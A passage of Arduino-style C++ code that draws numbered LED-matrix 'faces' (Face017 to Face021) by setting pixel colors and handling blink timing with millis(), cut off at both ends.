strip.setPixelColor(408, color); \n strip.setPixelColor(416, color); \n strip.setPixelColor(417, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.show(); \/\/ Turn on the LEDs\n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = true; \/\/ Face017 - this face\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face017BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face017 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(103, color); \n strip.setPixelColor(209, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(216, color); \n strip.setPixelColor(217, color); \n strip.setPixelColor(224, color); \n strip.setPixelColor(287, color); \n strip.setPixelColor(408, color); \n strip.setPixelColor(416, color); \n strip.setPixelColor(417, color); \n strip.setPixelColor(425, color); \n strip.setPixelColor(426, color); \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face017BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face017 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face017BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face018 ---------------------------------------------------------------------------------------------\nvoid Face018()\n{\n if (Face018RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(21, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(30, color); \n strip.setPixelColor(128, color); \n strip.setPixelColor(129, color); \n strip.setPixelColor(137, color); \n strip.setPixelColor(138, color); \n strip.setPixelColor(145, color); \n strip.setPixelColor(146, color); \n strip.setPixelColor(154, color); \n strip.setPixelColor(155, color);\n strip.setPixelColor(162, color); \n strip.setPixelColor(163, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(178, color); \n strip.setPixelColor(179, color); \n strip.setPixelColor(186, color); \n strip.setPixelColor(187, color);\n strip.setPixelColor(194, color); \n strip.setPixelColor(195, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(218, color); \n strip.setPixelColor(219, color);\n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(233, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(241, color); \n strip.setPixelColor(242, color); \n strip.setPixelColor(248, color); \n strip.setPixelColor(249, color);\n strip.setPixelColor(262, color); \n strip.setPixelColor(263, color); \n strip.setPixelColor(269, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(285, color);\n strip.setPixelColor(292, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color);\n strip.setPixelColor(324, color); \n strip.setPixelColor(325, color); \n strip.setPixelColor(332, color); \n strip.setPixelColor(333, color); \n strip.setPixelColor(340, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(348, color); \n strip.setPixelColor(349, color);\n strip.setPixelColor(356, color); \n strip.setPixelColor(357, color); \n strip.setPixelColor(365, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(373, color); \n strip.setPixelColor(374, color); \n strip.setPixelColor(382, color); \n strip.setPixelColor(383, color);\n strip.setPixelColor(488, color); \n strip.setPixelColor(489, color); \n strip.setPixelColor(496, color); \n strip.setPixelColor(497, color); \n strip.show(); \/\/ Turn on the LEDs\n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = true; \/\/ Face018 - this face\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face018BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face018 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(21, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(29, color); \n strip.setPixelColor(30, color); \n strip.setPixelColor(128, color); \n strip.setPixelColor(129, color); \n strip.setPixelColor(137, color); \n strip.setPixelColor(138, color); \n strip.setPixelColor(145, color); \n strip.setPixelColor(146, color); \n strip.setPixelColor(154, color); \n strip.setPixelColor(155, color);\n strip.setPixelColor(162, color); \n strip.setPixelColor(163, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(178, color); \n strip.setPixelColor(179, color); \n strip.setPixelColor(186, color); \n strip.setPixelColor(187, color);\n strip.setPixelColor(194, color); \n strip.setPixelColor(195, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(218, color); \n strip.setPixelColor(219, color);\n strip.setPixelColor(226, color); \n strip.setPixelColor(227, color); \n strip.setPixelColor(233, color); \n strip.setPixelColor(234, color); \n strip.setPixelColor(241, color); \n strip.setPixelColor(242, color); \n strip.setPixelColor(248, color); \n strip.setPixelColor(249, color);\n strip.setPixelColor(262, color); \n strip.setPixelColor(263, color); \n strip.setPixelColor(269, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(285, color);\n strip.setPixelColor(292, color); \n strip.setPixelColor(293, color); \n strip.setPixelColor(300, color); \n strip.setPixelColor(301, color); \n strip.setPixelColor(308, color); \n strip.setPixelColor(309, color); \n strip.setPixelColor(316, color); \n strip.setPixelColor(317, color);\n strip.setPixelColor(324, color); \n strip.setPixelColor(325, color); \n strip.setPixelColor(332, color); \n strip.setPixelColor(333, color); \n strip.setPixelColor(340, color); \n strip.setPixelColor(341, color); \n strip.setPixelColor(348, color); \n strip.setPixelColor(349, color);\n strip.setPixelColor(356, color); \n strip.setPixelColor(357, color); \n strip.setPixelColor(365, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(373, color); \n strip.setPixelColor(374, color); \n strip.setPixelColor(382, color); \n strip.setPixelColor(383, color);\n strip.setPixelColor(488, color); \n strip.setPixelColor(489, color); \n strip.setPixelColor(496, color); \n strip.setPixelColor(497, color); \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face018BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face018 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face018BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\nvoid Face019()\n{\n if (Face019RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(6, color); \n strip.setPixelColor(7, color); \n strip.setPixelColor(13, color); \n strip.setPixelColor(14, color); \n strip.setPixelColor(21, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(28, color); \n strip.setPixelColor(29, color);\n strip.setPixelColor(36, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(44, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(52, color);\n strip.setPixelColor(53, color); \n strip.setPixelColor(60, color); \n strip.setPixelColor(61, color); \n strip.setPixelColor(68, color); \n strip.setPixelColor(69, color); \n strip.setPixelColor(76, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(84, color);\n strip.setPixelColor(85, color); \n strip.setPixelColor(92, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(101, color); \n strip.setPixelColor(109, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(117, color);\n strip.setPixelColor(118, color); \n strip.setPixelColor(126, color); \n strip.setPixelColor(127, color); \n strip.setPixelColor(145, color); \n strip.setPixelColor(146, color); \n strip.setPixelColor(153, color); \n strip.setPixelColor(154, color); \n strip.setPixelColor(357, color);\n strip.setPixelColor(358, color); \n strip.setPixelColor(365, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(384, color); \n strip.setPixelColor(385, color); \n strip.setPixelColor(393, color); \n strip.setPixelColor(394, color); \n strip.setPixelColor(401, color);\n strip.setPixelColor(402, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(418, color); \n strip.setPixelColor(419, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(427, color);\n strip.setPixelColor(434, color); \n strip.setPixelColor(435, color);\n strip.setPixelColor(442, color); \n strip.setPixelColor(443, color); \n strip.setPixelColor(450, color); \n strip.setPixelColor(451, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(459, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color);\n strip.setPixelColor(474, color); \n strip.setPixelColor(475, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(483, color); \n strip.setPixelColor(489, color); \n strip.setPixelColor(490, color); \n strip.setPixelColor(497, color); \n strip.setPixelColor(498, color);\n strip.setPixelColor(504, color); \n strip.setPixelColor(505, color); \n strip.show(); \/\/ Turn on the LEDs\n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = true; \/\/ Face019 - this face\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face019BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face019 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(6, color); \n strip.setPixelColor(7, color); \n strip.setPixelColor(13, color); \n strip.setPixelColor(14, color); \n strip.setPixelColor(21, color); \n strip.setPixelColor(22, color); \n strip.setPixelColor(28, color); \n strip.setPixelColor(29, color);\n strip.setPixelColor(36, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(44, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(52, color);\n strip.setPixelColor(53, color); \n strip.setPixelColor(60, color); \n strip.setPixelColor(61, color); \n strip.setPixelColor(68, color); \n strip.setPixelColor(69, color); \n strip.setPixelColor(76, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(84, color);\n strip.setPixelColor(85, color); \n strip.setPixelColor(92, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(100, color); \n strip.setPixelColor(101, color); \n strip.setPixelColor(109, color); \n strip.setPixelColor(110, color); \n strip.setPixelColor(117, color);\n strip.setPixelColor(118, color); \n strip.setPixelColor(126, color); \n strip.setPixelColor(127, color); \n strip.setPixelColor(145, color); \n strip.setPixelColor(146, color); \n strip.setPixelColor(153, color); \n strip.setPixelColor(154, color); \n strip.setPixelColor(357, color);\n strip.setPixelColor(358, color); \n strip.setPixelColor(365, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(384, color); \n strip.setPixelColor(385, color); \n strip.setPixelColor(393, color); \n strip.setPixelColor(394, color); \n strip.setPixelColor(401, color);\n strip.setPixelColor(402, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(418, color); \n strip.setPixelColor(419, color); \n strip.setPixelColor(426, color); \n strip.setPixelColor(427, color);\n strip.setPixelColor(434, color); \n strip.setPixelColor(435, color);\n strip.setPixelColor(442, color); \n strip.setPixelColor(443, color); \n strip.setPixelColor(450, color); \n strip.setPixelColor(451, color); \n strip.setPixelColor(458, color); \n strip.setPixelColor(459, color); \n strip.setPixelColor(466, color); \n strip.setPixelColor(467, color);\n strip.setPixelColor(474, color); \n strip.setPixelColor(475, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(483, color); \n strip.setPixelColor(489, color); \n strip.setPixelColor(490, color); \n strip.setPixelColor(497, color); \n strip.setPixelColor(498, color);\n strip.setPixelColor(504, color); \n strip.setPixelColor(505, color);\n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face019BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face019 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face019BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face020 ---------------------------------------------------------------------------------------------\nvoid Face020()\n{\n if (Face020RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(31, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(39, color); \n strip.setPixelColor(44, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(52, color); \n strip.setPixelColor(53, color); \n strip.setPixelColor(60, color); \n strip.setPixelColor(61, color); \n strip.setPixelColor(68, color); \n strip.setPixelColor(69, color); \n strip.setPixelColor(76, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(95, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(103, color); \n strip.setPixelColor(152, color); \n strip.setPixelColor(160, color); \n strip.setPixelColor(161, color); \n strip.setPixelColor(162, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(178, color); \n strip.setPixelColor(179, color); \n strip.setPixelColor(187, color); \n strip.setPixelColor(188, color); \n strip.setPixelColor(195, color); \n strip.setPixelColor(196, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(216, color); \n strip.setPixelColor(217, color); \n strip.setPixelColor(218, color); \n strip.setPixelColor(224, color); \n strip.setPixelColor(225, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(271, color); \n strip.setPixelColor(276, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(283, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(291, color); \n strip.setPixelColor(292, color); \n strip.setPixelColor(298, color); \n strip.setPixelColor(299, color); \n strip.setPixelColor(306, color); \n strip.setPixelColor(307, color); \n strip.setPixelColor(314, color); \n strip.setPixelColor(315, color); \n strip.setPixelColor(322, color); \n strip.setPixelColor(323, color); \n strip.setPixelColor(330, color); \n strip.setPixelColor(331, color); \n strip.setPixelColor(338, color); \n strip.setPixelColor(339, color); \n strip.setPixelColor(347, color); \n strip.setPixelColor(348, color); \n strip.setPixelColor(356, color); \n strip.setPixelColor(357, color); \n strip.setPixelColor(358, color); \n strip.setPixelColor(359, color); \n strip.setPixelColor(365, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(367, color); \n strip.setPixelColor(392, color); \n strip.setPixelColor(393, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(401, color); \n strip.setPixelColor(402, color); \n strip.setPixelColor(403, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(412, color); \n strip.setPixelColor(419, color); \n strip.setPixelColor(420, color); \n strip.setPixelColor(427, color); \n strip.setPixelColor(428, color); \n strip.setPixelColor(429, color); \n strip.setPixelColor(436, color); \n strip.setPixelColor(437, color); \n strip.setPixelColor(444, color); \n strip.setPixelColor(445, color); \n strip.setPixelColor(452, color); \n strip.setPixelColor(453, color); \n strip.setPixelColor(460, color); \n strip.setPixelColor(461, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(468, color); \n strip.setPixelColor(474, color); \n strip.setPixelColor(475, color); \n strip.setPixelColor(476, color); \n strip.setPixelColor(480, color); \n strip.setPixelColor(481, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(483, color); \n strip.setPixelColor(488, color); \n strip.setPixelColor(489, color);\n strip.show(); \/\/ Turn on the LEDs \n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = true; \/\/ Face020 - this face\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face020BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face020 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(31, color); \n strip.setPixelColor(37, color); \n strip.setPixelColor(38, color); \n strip.setPixelColor(39, color); \n strip.setPixelColor(44, color); \n strip.setPixelColor(45, color); \n strip.setPixelColor(46, color); \n strip.setPixelColor(52, color); \n strip.setPixelColor(53, color); \n strip.setPixelColor(60, color); \n strip.setPixelColor(61, color); \n strip.setPixelColor(68, color); \n strip.setPixelColor(69, color); \n strip.setPixelColor(76, color); \n strip.setPixelColor(77, color); \n strip.setPixelColor(84, color); \n strip.setPixelColor(85, color); \n strip.setPixelColor(93, color); \n strip.setPixelColor(94, color); \n strip.setPixelColor(95, color); \n strip.setPixelColor(102, color); \n strip.setPixelColor(103, color); \n strip.setPixelColor(152, color); \n strip.setPixelColor(160, color); \n strip.setPixelColor(161, color); \n strip.setPixelColor(162, color); \n strip.setPixelColor(170, color); \n strip.setPixelColor(171, color); \n strip.setPixelColor(178, color); \n strip.setPixelColor(179, color); \n strip.setPixelColor(187, color); \n strip.setPixelColor(188, color); \n strip.setPixelColor(195, color); \n strip.setPixelColor(196, color); \n strip.setPixelColor(202, color); \n strip.setPixelColor(203, color); \n strip.setPixelColor(210, color); \n strip.setPixelColor(211, color); \n strip.setPixelColor(216, color); \n strip.setPixelColor(217, color); \n strip.setPixelColor(218, color); \n strip.setPixelColor(224, color); \n strip.setPixelColor(225, color); \n strip.setPixelColor(270, color); \n strip.setPixelColor(271, color); \n strip.setPixelColor(276, color); \n strip.setPixelColor(277, color); \n strip.setPixelColor(278, color); \n strip.setPixelColor(279, color); \n strip.setPixelColor(283, color); \n strip.setPixelColor(284, color); \n strip.setPixelColor(285, color); \n strip.setPixelColor(291, color); \n strip.setPixelColor(292, color); \n strip.setPixelColor(298, color); \n strip.setPixelColor(299, color); \n strip.setPixelColor(306, color); \n strip.setPixelColor(307, color); \n strip.setPixelColor(314, color); \n strip.setPixelColor(315, color); \n strip.setPixelColor(322, color); \n strip.setPixelColor(323, color); \n strip.setPixelColor(330, color); \n strip.setPixelColor(331, color); \n strip.setPixelColor(338, color); \n strip.setPixelColor(339, color); \n strip.setPixelColor(347, color); \n strip.setPixelColor(348, color); \n strip.setPixelColor(356, color); \n strip.setPixelColor(357, color); \n strip.setPixelColor(358, color); \n strip.setPixelColor(359, color); \n strip.setPixelColor(365, color); \n strip.setPixelColor(366, color); \n strip.setPixelColor(367, color); \n strip.setPixelColor(392, color); \n strip.setPixelColor(393, color); \n strip.setPixelColor(400, color); \n strip.setPixelColor(401, color); \n strip.setPixelColor(402, color); \n strip.setPixelColor(403, color); \n strip.setPixelColor(410, color); \n strip.setPixelColor(411, color); \n strip.setPixelColor(412, color); \n strip.setPixelColor(419, color); \n strip.setPixelColor(420, color); \n strip.setPixelColor(427, color); \n strip.setPixelColor(428, color); \n strip.setPixelColor(429, color); \n strip.setPixelColor(436, color); \n strip.setPixelColor(437, color); \n strip.setPixelColor(444, color); \n strip.setPixelColor(445, color); \n strip.setPixelColor(452, color); \n strip.setPixelColor(453, color); \n strip.setPixelColor(460, color); \n strip.setPixelColor(461, color); \n strip.setPixelColor(467, color); \n strip.setPixelColor(468, color); \n strip.setPixelColor(474, color); \n strip.setPixelColor(475, color); \n strip.setPixelColor(476, color); \n strip.setPixelColor(480, color); \n strip.setPixelColor(481, color); \n strip.setPixelColor(482, color); \n strip.setPixelColor(483, color); \n strip.setPixelColor(488, color); \n strip.setPixelColor(489, color); \n strip.show(); \/\/ Turn on the LEDs\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face020BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face020 LEDs OFF - Blink\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n strip.show(); \/\/ Turn off the LEDs \n }\n else\n {\n Face020BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face021 ---------------------------------------------------------------------------------------------\nvoid Face021()\n{\n if (Face021RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(54, color);\n strip.setPixelColor(55, color); \n strip.setPixelColor(62, color); \n strip.setPixelColor(63, color);\n strip.setPixelColor(70, color);\n strip.setPixelColor(71, color); \n strip.setPixelColor(78, color); \n strip.setPixelColor(79, color); \n strip.setPixelColor(176, color);\n strip.setPixelColor(177, color); \n strip.setPixelColor(184, color); \n strip.setPixelColor(185, color); \n strip.setPixelColor(192, color);\n strip.setPixelColor(193, color); \n strip.setPixelColor(200, color); \n strip.setPixelColor(201, color);\n strip.setPixelColor(310, color);\n strip.setPixelColor(311, color); \n strip.setPixelColor(318, color); \n strip.setPixelColor(319, color);\n strip.setPixelColor(326, color);\n strip.setPixelColor(327, color); \n strip.setPixelColor(334, color); \n strip.setPixelColor(335, color); \n strip.setPixelColor(432, color);\n strip.setPixelColor(433, color); \n strip.setPixelColor(440, color); \n strip.setPixelColor(441, color); \n strip.setPixelColor(448, color);\n strip.setPixelColor(449, color); \n strip.setPixelColor(456, color); \n strip.setPixelColor(457, color);\n strip.show(); \/\/ Turn on the LEDs \n \/\/ Setting FaceRunningCheck variables for smoother changes\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = true; \/\/ Face021 - thise face\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face021BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face021 LEDs ON\"); \/\/ Debug output\n strip.clear(); \/\/ Clear previously configured LEDs\n \/\/ Set LEDs for this face \n strip.setPixelColor(54, color);\n 